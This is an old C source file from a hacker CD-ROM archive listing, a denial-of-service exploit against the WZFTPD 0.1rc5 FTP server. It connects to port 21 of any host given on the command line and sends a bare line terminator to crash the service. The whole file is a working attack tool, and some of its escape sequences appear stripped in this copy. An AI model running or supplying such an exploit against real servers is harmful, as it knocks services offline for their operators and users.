home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / wzftpdos / wzftpdos.c
Encoding:
C/C++ Source or Header  |  2003-10-23  |  1.1 KB  |  47 lines

  1. /*
  2. wzftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>
  3. ----------------------------------------------
  4. remote/local WZFTPD 0.1rc5 DoS exploit
  5. website: http://r3b00t.tx.pl/
  6. discovred by Moran Zavdi
  7. */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <sys/socket.h>
  12. #include <string.h>
  13. #include <netdb.h>
  14. #include <netinet/in.h>
  15. #include <arpa/inet.h>
  16. #include <unistd.h>
  17.  
  18. int sock=0;
  19.  
  20. int main(int argc, char* argv[]) {
  21. struct hostent *hp;
  22. struct sockaddr_in addr;
  23. printf("wzftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>n");
  24. if (argc<2) { printf("usage: %s <server>n", argv[0]); exit(0); }
  25. hp=gethostbyname(argv[1]);
  26. if (!hp) { printf("can't resolve %sn", argv[1]); exit(0); }
  27. bzero((char *)&addr, sizeof(addr));
  28. if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0) {
  29. printf("can't create socketn");
  30. exit(0);
  31. }
  32. bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
  33. addr.sin_family=AF_INET;
  34. addr.sin_port=htons(21);
  35. if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
  36. printf("can't connect to %sn", argv[1]);
  37. close(sock);
  38. exit(0);
  39. }
  40. printf("sending \r\n ... ");
  41. send(sock, "rn", 2, 0);
  42. shutdown(sock, 2);
  43. close(sock);
  44. printf("done.n");
  45. return 0;
  46. }
  47.